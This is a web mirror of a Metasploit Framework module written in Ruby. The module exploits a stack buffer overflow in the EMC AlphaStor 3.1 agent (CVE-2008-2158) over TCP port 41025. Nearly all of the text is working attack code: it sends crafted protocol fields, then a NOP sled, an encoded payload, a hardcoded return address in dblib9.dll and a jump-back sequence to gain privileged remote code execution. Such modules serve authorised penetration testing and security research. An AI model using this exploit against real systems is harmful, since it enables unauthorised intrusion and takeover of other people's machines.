CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/emc/alphastor_agent.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'EMC AlphaStor Agent Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
16
By sending a specially crafted message, an attacker may
17
be able to execute arbitrary code.
18
},
19
'Author' => 'MC',
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2008-2158' ],
24
[ 'OSVDB', '45714' ],
25
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
26
],
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'process', # one-shot overwrite.
30
},
31
'Payload' =>
32
{
33
'Space' => 750,
34
'BadChars' => "\x00\x0a\x0d\x20",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
41
],
42
'Privileged' => true,
43
'DisclosureDate' => '2008-05-27',
44
'DefaultTarget' => 0))
45
46
register_options([Opt::RPORT(41025)])
47
end
48
49
def exploit
50
connect
51
52
# overwrite via: ascli.exe asopmsg "long_buff"
53
uno = [0x0000000b].pack('V')
54
sock.put(uno)
55
56
dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
57
sock.put(dos)
58
59
tres = [0x00000004].pack('V')
60
sock.put(tres)
61
62
quatro = [0x0000001b].pack('V')
63
sock.put(quatro)
64
65
cinco = [0x0000047c].pack('V')
66
sock.put(cinco)
67
68
data = make_nops(827 - payload.encoded.length) + payload.encoded
69
data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
70
data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"
71
72
print_status("Trying target #{target.name}...")
73
sock.put(data)
74
75
handler
76
disconnect
77
end
78
end
79
80